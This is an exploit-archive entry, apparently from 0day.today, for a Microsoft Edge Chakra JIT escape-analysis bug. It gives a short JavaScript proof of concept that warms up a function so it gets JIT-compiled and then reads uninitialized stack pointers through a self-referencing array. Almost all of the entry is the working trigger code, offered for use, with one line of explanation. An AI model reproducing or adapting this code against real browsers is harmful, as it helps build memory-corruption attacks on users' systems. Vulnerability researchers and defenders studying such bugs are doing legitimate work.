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Microsoft Edge Chakra JIT - Escape Analysis Bug Exploit
Author
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[Security Risk Medium
]0day-ID
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/*
Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis
Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.
PoC:
*/
function opt() {
let tmp = [];
tmp[0] = tmp;
return tmp[0];
}
function main() {
for (let i = 0; i < 0x1000; i++) {
opt();
}
print(opt()); // deref uninitialized stack pointers!
}
main();
# 0day.today [2024-11-16] #